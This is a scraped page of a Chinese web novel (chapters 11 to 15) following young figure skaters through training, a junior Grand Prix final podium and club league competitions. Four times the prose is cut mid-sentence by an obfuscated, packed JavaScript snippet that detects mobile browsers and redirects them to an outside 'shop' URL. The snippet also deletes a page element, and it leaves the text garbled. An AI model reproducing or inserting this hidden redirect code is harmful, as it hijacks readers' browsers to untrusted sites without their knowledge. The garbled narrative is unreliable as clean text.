;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311148|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,十点半熄灯。除了有时候晚上回家住会调整一下,大部分时候都还是按这套行程走。 教练组最初担心这种日常强度对一个十四岁的孩子来说压力是否过大,在连续观察两周后,发现裴舒望的状态始终稳定,训练质量不降反升,身体各项指标也在监控范围内平稳增长,也就随他去了。 “他自己的身体,他心里有数。”裴立伟对邝辉说道。 邝辉翻着记录本,点点头,“我就没见过这么有数的小孩,不说别的小孩了,就咱们当年练的时候,也够呛能按他的安排这么坚持下来。” 十二月,江宁下了入冬以来的第一场雪。 裴舒望从冰场出来时,外面已经积了薄薄一层白。他站在廊下,伸手出去接了几片雪花。雪花落在掌心,还没来得及看清形状就被体温化成了水。 不知道……岚西省有没有下雪,和江宁省比起来北得多的岚西应该早就下过雪了吧,虽然如今叫法不一样但也算是自己的家乡,这会刹一看见雪竟想到了故土。脑中突然冒出来一句话,它朝若是同淋雪,此生也算共白头。哈哈,莫名其妙无厘头完全。摇了摇头,后面郁梓睿和鄢宇航二人看到裴舒望,追了上来。郁梓睿羽绒服拉链只拉到一半,“饿死了,食堂不知道今晚有没有好吃的。” “拉链不拉上?” “他体质跟一般人不一样,不用管。” “不冷,无所谓了,走走走,咱们先去食堂。” 三人并肩往食堂走去。郁梓睿一路跟二人絮絮叨叨抱怨他的节目编排,裴舒望和鄢宇航听着,偶尔应一声。 “你说我要是把连跳放在后半段,前面少做一组步法,会不会稳一点。” “会。” “但教练说我节目编排本来就不满,再砍就更空了,分数也打不上去。” “嗯。” “那你们觉得我是砍还是不砍?” 裴舒望偏头看了他一眼:“你想砍还是练?” “抱怨就抱怨,这次怎么还有提问题环节?”鄢宇航双手插兜,视线瞥了过来,“相信自己好吧,就照着我们舒望的安排练绝对能稳下来。” 郁梓睿沉默了几秒,把羽绒服拉链往上,一拉到底:“……还是练吧。” “但跟着舒望的安排真的不太行,我做不到啊!” 食堂里暖气开得很足,玻璃窗上结了一层白蒙蒙的水汽。裴舒望打好饭,找了个靠窗的位置坐下。窗外的雪还在下,天色已经完全暗了,冬天的夜晚来的总是格外的早。 他掏出手机,【橙子种植园:小橙子第一次参加青年组大奖赛总决赛,拿牌啦!妈妈超级骄傲,你是最棒的亚军![图片][图片]】发布于一小时前。 配图是两张照片。一张是领奖台远景,镜头拉得很远,能看到第二名的位置上站着个纤细的身影,长发盘在脑后,低着头看她手里的花束。另一张是近景,拍的是银牌特写,搁在蓝色绒布上,灯光打在上面,金属泛着温润的光泽。 12. 第 12 章 “映澄,”绍红教练站在挡板位置,紧紧握住周映澄的双手,二人视线交接,“不要紧张,场上好好发挥,抱着平常心滑就行,我相信你。” “当然了。”周映澄满脸自信的点头,语气坦然,“今天状态不错,刚刚六练试了几个跳都成了,我觉得这次,我能上领奖台。” 广播响起,提醒下一位参数选手即将登场。周映澄抽出手,对教练笑了笑转身朝冰场中央滑去。她从不会无的放矢,倒数第三位上场,短节目排名不够靠前,和第四位的分差也没拉开,这场自由滑她必须一顺到底,不能有任何失误。短短三分三十秒,技术动作依次完成,3Lz+3Lo、3Lz+1Lo+3S、3T+2T、3Lo、3F、2A、2A,旋转和步法定级全四 周映澄穿着外套坐在等分区的长椅上,拉链没拉好,呼吸也还没完全平复。几分钟前她刚刚滑完自己的自由滑节目,此刻正在等着分数出炉。 “放轻松。”绍红教练坐在她身侧,一只手搭在她的肩上,力道沉稳地拍了拍,“滑得特别好,实时执行分都是正的,非常漂亮干净的一套节目。” 周映澄点点头,目光牢牢锁定前方的显示器。场馆内的喧嚣被她隔绝在外,只听见自己的心跳,还有偶尔从观众席传来的欢呼。汗水从额角滑落,顺着脸颊流到下巴,在即将滴到她的考斯滕上时,她从教练帮忙拿过来的妙蛙种子玩偶纸巾盒里抽出几张,将脸上的汗水擦去。周映澄身上穿着的这套紫色考斯滕是妈妈特地为这赛季的自由滑设计的,领口绣着细密的银色花纹,此刻那些花纹被汗水浸湿,贴在她的身上,有些凉。 “把拉链拉上,小心着凉。”教练也紧紧关注着屏幕,等待分数出来。 她没说话,简单将外套拉链拉上,双手攥成拳头,燥侯得分。很难不怀疑裁判是不是心里在打什么小算盘,一套节目,实时全绿,不需要特地看回放抓失误还打分打得那么慢,让人干着急。 时间过去了几分钟还是几十秒,终于,显示屏出现一串数字,技术分:72.99,节目内容分:59.64,自由滑得分:132.63,总得分:200.53,当前排名:第一。 短暂的寂静过后,场馆爆发出雷鸣般的掌声,周映澄也被教练激动地抱在怀里,“上台子了!太争气了宝贝!” 200.53分。不仅刷新了她本赛季最佳成绩,同时也是她迄今为止职业生涯最高分。周映澄愣愣地盯着那个数字,脑海中一片空白。她想过这次自己滑得好,但没想到滑得那么好。两套节目都clean,跳跃全部足周,连那个平时偶尔会出现失误的后内点冰三周也稳稳落冰。 上场前她确实十分自信,但当自由滑结束,她跪在冰面上喘息时,听到观众席传来的欢呼声,那瞬间确实有点恍惚,总决赛,就这样结束了。 绍红教练站起身,用力拍了拍她的肩膀,脸上是藏不住的笑意:“好样的!暂列第一,等后面两位选手比完,咱们至少是铜牌。赛前还真说对了,台子稳了。” 最后两位选手上场,都是来自鄂罗斯的选手。其中一个还是上个赛季世青赛上不敌她,拿下银牌的德米特里娜·伊万诺娃。 短节目排名第二的娜斯塔西亚·季莫菲耶娃表现中规中矩,她同样没有超C储备,节目基础技术分和周映澄差距不大,但在执行上出现了一些失误,开场原定的3Lz+3T连跳在勾手跳落冰不稳翻身后,没有及时接上外点三周跳跃。场外,无数人抓心挠肝,想知道她到底记不记得要找个地方补上连跳。好在她心理素质也不错,在最后联合旋转前的阿克塞尔两周后接了个外点两周,补上了连跳,但是因为节目编排被打乱,节目最后旋转时合乐部分不太理想,节目也超时了几秒,对节目内容分会造成影响是板上钉钉的。最后总得分199.76,暂列排名第二。 德米特里娜·伊万诺娃则维持住了她第一的宝座,干脆利落的结束了节目,同样clean。分数也很快出来,总得分204.35,排名第一。周映澄被挤下来,最终排名第二,和娜斯塔西亚·季莫菲耶娃交换位次。 随着广播依次报出前三名选手的姓名和国籍,三人也依次排队踏上冰面,朝四周观众行礼致谢。这是女单大奖赛青年组总决赛场上最后的环节——颁奖典礼。 周映澄站在第二名的位置上,低头看着工作人员递来的花束。银牌挂在脖子上,沉甸甸的,金属的凉意透过考斯滕贴在皮肤上,挡不住获奖的喜悦。 国歌响起,是鄂罗斯的国歌。德米特里娜站在领奖台最高处,笑容灿烂,嘴上跟着歌唱,周映澄侧头看了一眼,她知道自己心中那股火热的情感是什么了,不仅是获奖的喜悦,还有对胜利,对第一的渴望。下一次,下一场比赛,无论对手如何,站在最高领奖台唱响国歌的会是她,她相信。 仪式结束后,混合采访区挤满了记者。德米特里娜被鄂罗斯记者团团围住,叶卡捷琳娜周围也围着几个记者。周映澄站在角落,手里还抱着那束花。 “周映澄!” 一个熟悉的声音从人群外传来。抬头,只看见一位年轻记者正奋力挤过人群,朝她跑来。 年轻记者胸前挂着印有“华国体育报”字样的工作牌,气喘吁吁站定,“周映澄,能接受一下采访吗?”手上掏出一个录音笔,打开,“就几个问题,很快的。” 周映澄看着面前喘息的记者,沉默了两秒,点点头。 “首先,恭喜你获得银牌!青年组总决赛亚军,这是你第一次参加总决赛,拿到银牌,同时也刷新了你迄今为止的职业生涯最高分。对这个成绩你满意吗?” 满意吗?她滑出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311149|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的最好表现,但对手滑得更好。银牌,是奖牌,但不是金牌。 “满意。”周映澄声音平静,淡淡开口道:“这是我目前为止滑得最好的一套自由滑,所有动作都完成了,没有失误。能够站上领奖台,我很高兴。” “距离金牌只差3.82分,会不会觉得很遗憾?” 3.82分。不能用“只”来形容差距,一个外点三周的基础分值也就4.2分,相差了一整个技术动作的分数,不是简单的遗憾可以概括的,这背后需要付出多少心血才能弥补这个差距?她不知道,但她知道的是她愿意付出。 “遗憾。”周映澄回道:“但这就是比赛。我滑出了我能滑到的最好,对手比我滑得更好,我接受这个结果。下一次,我会滑得更好。” 记者点点头,又问:“下一个目标是?” “全国锦标赛。”周映澄抬起头,目光越过记者的肩膀,落在远处正在接受采访的德米特里娜身上,“然后是成年组的赛事。” 她说这话的时候语气很平静,没有刻意加重音量,也没有慷慨激昂的表情,只是平静地陈述。 年轻记者笑了:“祝你梦想成真。” “谢谢。” 周映澄转身离开混合采访区,穿过长长的通道,走向运动员休息室。走廊里很安静,脚步声在空旷的空间里回响。手里攥着的那束花,上面的包装纸发出窸窣声响。刚才在采访的时候说的轻松,此时孤身一人走在这条静默的通道里,她不禁叩问自己的内心,真的就那么平静接受了? 她停下脚步,低头看着手里的银牌,这是她的第一块总决赛奖牌,不会是最后一块。周映澄收回目光,继续往前走,走廊尽头拐个弯就是休息室。推开门,绍红教练已经在里面等她了。 “累了吧?”教练起身,给她递过来一瓶水,“先在这歇会儿,喝口水,等会儿大巴送咱们回酒店。” 周映澄接过水,没有喝,只是握在手里。她坐在长椅上,盯着墙上贴着的比赛海报。 “在想什么?那么出神。”绍红跟着她视线落下的地方,也望向墙面。 “教练,”她忽然开口,“我想把自由滑的配置改了。” 闻言,绍红收回目光,转头盯着她。 “勾手三周接后外结环三周,我想放到节目后半段。”周映澄的声音很平静,语气轻描淡写,“还有阿克塞尔三周,我想早点稳下来,用到正赛里,把阿克塞尔两周给换了,这样短节目也能多出优势。” 教练沉默了几秒,然后笑了:“你确定?后半段跳跃是有加分,但体力消耗也大,滑到后面还有力气连跳吗?前面失误后面还可以弥补,连跳压在后面的话,节目容错率太低了。” “我确定。”周映澄抬起头,目光清澈坚定,“下一次,我想拿第一。” 13. 第 13 章 “宣布比赛成绩,第三名鄢宇航,南川市青少年体育俱乐部(江宁省体育局冰上运动管理中心)。” “第二名卫浩轩,云浦冰韵滑冰俱乐部有限公司。” “第一名裴舒望,南川市青少年体育俱乐部。” “请年2010年冬奥会双人滑季军王慧女士为获奖运动员颁奖,请冰韵创始人兼CEO邓文浩女士为获奖运动员颁发获奖证书,请颁奖嘉宾与获奖运动员合影留念。” 时间倒回一个月前。 “闽奕泽,第五站你不去吗?” “啊呀,想去其他站争下牌子,第五站报的人太多了,竞争太激烈了。” “选拔站只报一站拿名额不容易,不再拼一拼?” “不想折腾了,就这样吧。两站都在南边路上也方便,拼也拼不过,反正也是最后一届了。” 华国俱乐部联赛第二站,江宁省队男单全员出动,虽然数到头也就四个。赛程比较紧张,第一天短节目,第二天自由滑。队里除了闽奕泽双线作战,其他人都只报了青年组。本赛季国际滑联青少年大奖赛名额从俱乐部联赛中选拔,第二站和第五站是选拔站,绝大多数选手都会报这两站或者二选其一参赛,裴舒望也报了这两站。 他和教练一开始有考虑过双线作战,今年上半年的国家等级测试他没有错过,虽然去年已经过了双八达到了联赛青年组报名资格,但新赛季还没开始,闲着也是闲着,抽空去了比较近的两站把步法自由滑双十也一起过掉了,所以理论上他是可以参加成年组的。 教练组考虑到这是裴舒望第一次正赛,第一次和其他运动员同场竞技,赛场毕竟与训练场不一样。尚不清楚他的适应力如何,加上如果双线作战一天两场赛程太紧了,稳妥起见,第一场选择只参加青年组比赛,后面的第五站则是青年组和成年组都报上了,即可以刷到青年组和成年组的最低技术分,又能JGP名额和全青/全锦参赛资格两手抓。全青赛也是世青赛的名额选拔赛,全锦赛又决定了四大洲、世锦赛和冬奥会的参赛选手。换言之,不管后续参加任何赛事,俱乐部联赛都是他的第一块跳板。 临近冬奥,本来就是紧张的备战赛季,对于裴舒望来说,这是他职业生涯的第一个赛季,第一个奥运赛季,他不能不拼,不管多密集的行程他都得全力以赴。冬奥会接近赛季尾声,在明年年初举行。而在今年三月份的世锦赛上,华国男单唯一的参赛选手舒明自由滑拿到154.65分,总分228.67分在全部24位晋级自由滑的选手中排名第15位,为华国花样滑冰男子单人滑拿下一个坪昌冬奥名额,裴舒望必须在全锦赛上赢过所有人,包括舒明,才可以拿下前往坪昌的门票。 “感觉怎么样?”邝辉接过裴舒望鄢宇航二人手上的证书,将刀套给他们递过去,“刚才那个后内四周落冰没事吧,脚踝会有不舒服吗?” “没什么事,跳的时候轴有点歪,周数不够拧了一下,应该会吃个符号。” “宇航你那个跳进燕转定级给定到三级了,回去得看下慢放到底哪里有问题,刚刚现场看感觉能定到四级的。” “好。” “还是不太稳这个跳,晚上回去好好放松,敷一下,别不放心上,真有不舒服给我打电话。” “收到!” “教练你怎么不关心关心我,我刚刚连跳的时候还摔了,一点也不在乎我吗?” “摔了还有脸嘻嘻哈哈的,我看着呢,摔的屁股全是肉没碰到骨头,幸亏后面记得动脑子把连跳给补上了,不然有你好看的,自觉点回去加练。” “啊?”郁梓睿面露惊讶,略带委屈,“我们队青年组今天有两个上台子的欸,教练你怎么不高兴嘛,好凶哦。” “你小子演上瘾了是吧。”邝辉脸上带着笑,故作严厉道。 旁边鄢宇航也套好刀套,走到郁梓睿身旁,“走了,回去休息。” “下一站你节目必须要clean了,不然总决赛可能进不了。” 去年十月到如今七月,过去了将近一年的时间。为了赶上冬奥会,裴舒望踩年龄线升组,也导致这一年的事情格外多。单就等级测试来说,自他进省队到现在一共举办了三次,拢共十二站,裴舒望参加了十站。每站都是步法和自由滑一起考,一年半速通考级,一起考试的选手对他有多少印象他不清楚,但相信经常当裁判的应该是忘不了他的。 不说运动相关事宜,场外六月份的中考也结束了,很难想象他在那段时间一边备考一边练超C,中考完没两个礼拜,真就把外点四周给稳住了,能在节目里站住。在外点四周落冰成功没几天后,他的后内四周也足周落了,刚好离俱乐部联赛还剩半个月,让他能把短节目和自由滑的配置略作修改,加以磨合。 裴舒望也十分惊讶,这一年多来虽然他还没正式进入发育期,但身高也慢慢从开始的不到一米七长到了一米七五,体重也跟着身高往上走了点,身材变化不可谓不大。关键不像大部分转速流女单,可以靠节食这个伤身但有效的手段压抑生长,靠转速维持难度。男单需要在发育时长肌肉,以提供更高的起跳高度,更远的起跳距离。这段时间他饮食照常,但额外多加了些陆上训练。外点四周能成他心里有数,这个跳跃他上辈子就无比熟悉,除了没在正赛上拿到正的执行分数,可以说他几乎掌握了这个跳跃,不是那种纯靠运气蒙的。后内四周他上辈子虽然也练习过,甚至吊杆成功完成过,但尝试时大概率缺周摔,小几率吃小于号落。可以说现在成功落冰对他来说是来得非常及时的一个跳跃,只有阿克塞尔三周和外点四周,不说在国际赛事上拿奖,在华国国内想要夺冠都得看别人脸色。 老三样为什么被称之为老三样就是因为当年男单有点名气的选手都人手一套——阿克塞尔三周、后外点冰四周和后内接环四周。虽然现在国内花滑没落了,手握超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311150|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' C的男单并不多,但想成为国内一号种子,没有这些是不可能的。 俱乐部联赛第一站完美收官,以金牌收尾。同时也为自己下赛季的JGP赛事争取到了一站的名额。想到这,裴舒望扭了扭脖子,今天队里的教练不在,陪报名其他站的队员去比赛了,只留下他、郁梓睿和鄢宇航三人。 “欸,你们在看什么呢?”郁梓睿呼吸稍微有点急促,刚结束训练打算下冰休息会,就看到裴舒望和鄢宇航二人坐在一起,双眼盯着放在挡板上的手机屏幕。 鄢宇航向他招了招手,视线瞥了他一眼后又重新回到了屏幕上,“赶紧下来,看比赛呢。” “什么比赛?谁的比赛啊?”郁梓睿边给自己裹上外套,边问道。“最近除了俱乐部联赛没其他比赛吧?不是花滑比赛吗?”怀里抱着他的玩偶纸巾盒,郁梓睿慢悠悠走过去。 走到两人身后,视线扫向手机屏幕。只见屏幕上一位女单选手转三后接了一个后内三周,偶尔镜头扫过场外教练,可以看见裴立伟和邝辉二人的身影。 “女单比赛开始了啊,堂榕融她们比了吗?”郁梓睿将胳膊抵在二人肩上,头从他们中间插进去。 “还没,这是第一组。堂榕融第三组出场,齐雨涵第五组。” “我们回寝室用平板看呗,这手机屏幕好小,而且就我没耳机没声音,回去开公放吧。” “也行,那你赶紧把鞋换好。” 三人回到宿舍,郁梓睿抢先把平板架在桌上,熟练地打开直播页面。鄢宇航从柜子里翻出几包零食扔过去,裴舒望靠坐在床边,手里握着水杯,目光落在屏幕上。 画面里正在进行的是女单短节目第二组的六分钟练习。“堂榕融第几个出场来着?”郁梓睿嘴里塞着薯片,含糊不清地问。 “第三组第三个。”鄢宇航掏出手机看了眼名单的出场顺序,“还早,先看这组滑完。” 屏幕上第二组选手开始上场。冰刀划过冰面的声音透过平板传出来,细碎而清晰,混着现场观众的低声交谈和音乐的前奏。 “第三组快了,”鄢宇航看了眼时间,“堂榕融要是能稳住,这次应该能进前三。” “她应该没问题,之前看她节目合乐挺不错的。”郁梓睿把薯片袋子往旁边一放,“就看临场发挥。” 裴舒望放下水杯,往床边靠了靠。窗外有风吹过,窗帘轻轻晃动。他偏头看了一眼,能看见远处训练馆的轮廓。 等这站比赛结束,下一站就是第五站了。青年组和成年组双线作战,两天四场,他真正的考验。 “来了来了,”郁梓睿突然坐直,“第三组热身了!” 裴舒望的视线重新落回屏幕。冰场上,六位选手鱼贯而入,镜头拉近,堂榕融那张熟悉的脸出现在画面里,正和身边的教练说着什么。 窗外天色昏黄,宿舍里的三个人围坐在平板前,屏幕的微光映在他们脸上。 14. 第 14 章 “他们这冰面是不是有问题?怎么连着两个都摔那么凶?”看着屏幕里险些撞上挡板的选手,郁梓睿面露疑惑,语气不解。 透过电子屏,洁白冰面上,一道碧蓝的身影坐倒在冰面上,摔得应该不轻,看得出是懵了几秒才爬起来接着滑的。 “前面两组没这样啊,这组上场前还清冰了。”鄢宇航也有些奇怪,“心态崩了?看前面有人摔了自己紧张?” “有可能。”裴舒望盯着屏幕,那选手重新起速后整个人明显缩着,跳跃不敢发力,进转时轴心不稳,“摔慌了,后面动作都不对。” 屏幕里,那位选手勉强滑完剩下部分,音乐结束时整个人如释重负,低着头滑向场边。镜头扫过她的脸,眼眶已经红了。 “惨。”郁梓睿缩了缩脖子,“这分数出来估计要崩。” “下一个就堂榕融,希望她能稳住吧。” 前一位选手的分数出来,不高。场边的堂榕融脱下外套,递给教练,蹬冰滑向冰场中央。“她紧张了。”鄢宇航眼睛尖,“你看她肩膀,僵的。” 闻言郁梓睿把脸埋进抱枕里,“完了完了完了,我不敢看了。” “你能不能有点出息。”鄢宇航一巴掌拍在他后背上,“她还没开始滑呢。” “我这是感同身受!” 裴舒望没说话。他见过太多次这种,赛前紧张,肌肉发僵,脑子转得太快或者根本不转。这是每个运动员都会经历的关卡,区别在于能不能在音乐响起的那一刻把它压下去。 音乐响起,是《红磨坊》的选段,节奏热情奔放,一下子将人拉进表演的世界。堂榕融的起滑很稳,开场一个利落的后内三周接外点三周,接下来的阿克塞尔两周也没有出错,最后的内点三周落冰时,她的身体微微晃了一下,但没有扶冰,站住了。 郁梓睿的抱枕已经不知道扔到哪儿去了,整个人身体前倾,眼睛死死盯着屏幕。“好险。”看到三个跳跃都落下,他终于松了口气。 “她稳住了。”裴舒望说,目光没离开屏幕,“这就是心理素质。” 接续步流畅,旋转转速不错。堂榕融滑完最后一个动作,微微喘息着定格。镜头给了她一个特写,额头上全是汗,但眼睛里是亮的。等分区分数出来,当前排名暂列第一,刷新个人短节目最高分。 “漂亮!”郁梓睿忍不住拍了下鄢宇航的胳膊,“这分可以啊,比她之前最好成绩还高吧?” “高了差不多两分。”鄢宇航翻出手机搜索对比了一下,“节目内容分涨了,应该是滑行状态好,裁判印象分上来了。” 裴舒望看着屏幕上堂榕融被教练抱住的身影,嘴角微微扬起。这种感觉他很熟悉,那种拼尽全力后得到回报的瞬间,所有的汗水和疼痛都在那一刻变得值得。 “她进总决赛稳了。”他说。 接下来几组,三人就这么看着直播,偶尔讨论几句。第五组齐雨涵出场时,天已经黑了。她的短节目配置比堂榕融高一些,但完成度稍差,连跳第二跳落冰摔倒,最后总分暂列第四。 “女单这次应该能进两个总决赛。周映澄不参加联赛,拢共六个名额,其他人配置都差不多。”鄢宇航分析道,“堂榕融这个分数,只要后面不出意外,稳进。齐雨涵有高级三周跳,看看之后发挥怎么样。” 郁梓睿往后一仰,倒在床上,“这比赛看得我心累,比自己滑还累。” “前面滑得那么好,就差那一个跳。” “明天还有自由滑。”裴舒望,“她还有机会。” 郁梓睿翻了个身,“自由滑要是再崩,就真的没了。” “那就别崩。”裴舒望语气平静,理所当然道,“她不是没那个能力。” 鄢宇航看了他一眼,没说话。郁梓睿沉默了几秒,忽然坐起来,“诶,你说得倒轻松。要是你明天比赛,第一跳就摔了,你后面能稳住吗?” 裴舒望想了想,“能。” 郁梓睿盯着他看了几秒,忽然泄了气,“行吧,你是真能做到。我就不行,摔一个后面全完蛋,脑子一片空白,连步法往哪儿滑都忘了。” “那是因为你想得太多。”鄢宇航也躺回床上,胳膊枕在脑后,“摔了就摔了,后面还有六个跳跃,还有旋转和步法,又不是只剩一个动作。” “道理谁都懂,做起来不一样。”郁梓睿趴在床上翻了个身,“算了算了,不说这个。” 青年组女单比赛结束,进入清冰环节,直播间只有清冰车运转的白噪音,房间里也突然安静下来。 “明天还有自由滑,”他说,声音里带着点说不清的羡慕,“她们还有机会再拼一把。” “你也有机会。”裴舒望起身,走到窗边。窗外已经完全黑了,训练馆的灯光亮着,“第五站还有半个月。” “半个月……”郁梓睿把脸埋进枕头里,声音闷闷的,“我感觉我那个阿克塞尔三周还是不稳,十次能成五次就不错了。比赛的时候一紧张,估计就剩两次。” “那就练到十次能成八次。”裴舒望转过身,靠在窗边,“还有时间。” “你说得轻巧。”郁梓睿翻了个身,仰面躺着,盯着天花板,“我可没你那么变态的天赋,后内四周说成就成。我练阿克塞尔三周都练了一年了,还是看命。” 鄢宇航把零食袋子收起来,扔进垃圾桶,“你那是练得少。每天加练两组,一个月下来你看看成不成。” “我每天训练完腿都软了,还加练?” “那就别抱怨。” 郁梓睿噎住,憋了半天,憋出一句:“你俩真是一个比一个狠。” “没办法啊,台上一分钟台下十年功。你也不想到时候总决赛大家都去就你留守省队吧?” “你们说,闽奕泽他还会滑吗?” “滑啊,他抽签第二组出场。”鄢宇航看了眼直播间进度,场上清冰快好了,“马上就是男单短节目了,你想看他滑还不简单。” “我不是那个意思……我是说,他明年还滑吗?去上大学之后还回来吗?” 闽奕泽今年高三毕业,从去年升高三后他的训练时间就比以前少,在省队呆着的日子也不多。他不是那种天赋特别好有亮眼成绩的运动员,在江宁省里可能还算的上数,放在全国默默无闻。没有拿到过足够保送的名次,年初确定了走体育单招的路子。今年是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311151|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在青年组的最后一年,下赛季就超龄升成年组了。 “应该不会回来了吧。”鄢宇航声音淡淡的,听不出什么情绪,“他去的是华京体育大学,那边也有冰场,有教练。就算想滑,也是挂靠在华京的俱乐部,没必要回咱们这儿了。” 郁梓睿没说话。场上清冰车退场,男单第一组选手开始上场。都是些生面孔,来自不同的俱乐部,年纪看着也不大。音乐一首接一首地响,跳跃一个接一个地落,有成的,有摔的,有落冰翻身扶冰的。裴舒望目光落在屏幕上,思绪却飘得有些远。 他想起刚进省队那天,在冰场上第一次见到闽奕泽的样子。那时候他刚做完一组跳跃,喘着气滑到挡板边喝水,郁梓睿和鄢宇航凑过来跟他说话。闽奕泽比他们大三岁,是队里年纪最大的男单,也是唯一一个参加全国比赛拿到过名次的。后来几次训练,裴舒望注意到他每次滑完都会在场边多呆一会儿,盯着年轻队员的动作,偶尔出声指点两句。 “闽奕泽人挺好的。”郁梓睿突然开口,像是自言自语,“我刚进队的时候什么都不懂,是他教我怎么绑鞋带才不会松,哪家店的磨刀技术更好。” 鄢宇航“嗯”了一声:“我第一个后内三周是他看着落的,那时候教练不在,他就在旁边一直给我数节奏。” 裴舒望没应声。他和闽奕泽交集不多,但每次见面时对方总会主动打招呼,态度友善。 “第二组六练开始了。”第一组最后的选手结束了表演,这组出来的分数都一般,没有特别高的。镜头切到候场区,闽奕泽站在挡板边,和教练说些什么。他穿着白色的考斯滕,是去年比赛时穿的那件,看不出时间留下的的痕迹,在灯光下依然泛着细腻的光泽。 “他这套节目看了好多遍了。”郁梓睿说,“上赛季开始用的,今年没换。” “换什么,这套节目他滑得最好,去年全锦就是靠这套拿的第九。” …… 最后一个音符落下,闽奕泽以一个单膝跪地的姿态定格,手臂向前伸展,像是在拥抱什么。他低着头,胸口起伏着,过了两秒才慢慢站起来,向四周观众致意。 镜头给了他一个特写。他脸上带着汗,眼眶微微泛红,但嘴角是上扬的。 “滑得好。”裴舒望轻声说。 比赛还在继续,后面几组选手陆续上场,分数一个个跳出来,有的高有的低。闽奕泽的排名慢慢往下掉,从第一掉到第三,又从第三掉到第五。但他就那么站在等分区边上,看着屏幕上的数字变化,脸上没什么表情,只是偶尔和教练说几句话。 “你说,”郁梓睿突然开口,“等咱们到他这个年纪,也会这样吗?” “哪样?”鄢宇航问。 “就……”郁梓睿想了半天,也没想出合适的词,“就这样,滑着滑着,就没了。” “不要乱说话了笨蛋,真想知道等他回来当面问他本人。” “不会。”裴舒望开口。 郁梓睿和鄢宇航都看向他。 “你滑到滑不动为止,不是滑着滑着就没了。” 郁梓睿愣了一下,然后笑了:“说得好像你滑过很多年似的。” 15. 第 15 章 会滑多少年暂且未知,但今年俱乐部联赛的第五站如期而至。队里只有男队三人除去闽奕泽,加上女队的齐雨涵报了这一站。这是JGP最后的选拔站,相比第二站更为被动。 女单那边因为有周映澄上个赛季世青的卫冕,拿到了满额14个名额,竞争压力没有那么大。加上周映澄在这个赛季火线升组没有报名俱乐部联赛,可以看作已经放弃了JGP,其他人哪怕一人两站也能有七个选手拿到名额,更何论华国花协的选拔规定中明确说明了,俱乐部联赛选拔站排名前二的运动员获得两站名额,第三到五名获得一站名额。选手两站都参加并且排名皆在前五的话,只记录一站名次。参赛站次的选择优先权按排名依次递补,联赛第二站运动员比第五站优先选站,但是拿到一站名额的运动员如果在其参加的JGP分站赛上排名进入前四,则可自动获得报名第二站JGP的资格。俱乐部联赛第五站排名第三到五名的,没能拿到两站名额的选手就只能捡漏,看联赛第二站三到五名选手能否进入JGP分站赛前四,如果她们都进前四,那联赛第五站三到五名选手将全部失去JGP参赛资格;如果她们都没进前四,第五站的候补选手也只能参加一站JGP,不管成绩如何,都没有参加两站的可能。 所以联赛第二站的竞争格外激烈。而在上赛季的世青赛上,男单选手最后的国家排名为第八,为这个赛季青年大奖赛争取到了六站JGP每站一个的名额,男单这边名额并不多,只有6个名额。俱乐部联赛第二站前二选手获得一站名额,联赛第五站排名前四选手获得一站名额,第五站排名三和四的选手需要看第二站前二选手JGP发挥如何,名额依旧不是百分百落袋,需要看人脸色决定。 裴舒望早在半个月前的联赛第二站就拿下冠军,不管他后面参不参加青年大奖赛,第五站的青年组赛事对他来说都没有什么实际的影响,算是模拟卷,用来正式赛前多磨合磨合节目。而成年组的赛事因为舒明的缺席,也实在谈不上是摸底,顶多算是在国内裁判面前刷刷脸留点印象,重头戏还是在后面的全国锦标赛上。 场馆观赛区,江宁省队小运动员都坐在一块,场上是其他男单正在表演。虽然他们的短节目都已经比完了,但还是留了下来给裴舒望加油打气。裴立伟和邝辉两人此时正陪着裴舒望在后台热身。 “舒望还是牛,两天四场,体力太顶了。”齐雨涵摸了摸口袋,掏出两块巧克力,“你两吃不?” “不要,你的黑巧太苦了,给郁梓睿,他嘴馋。” 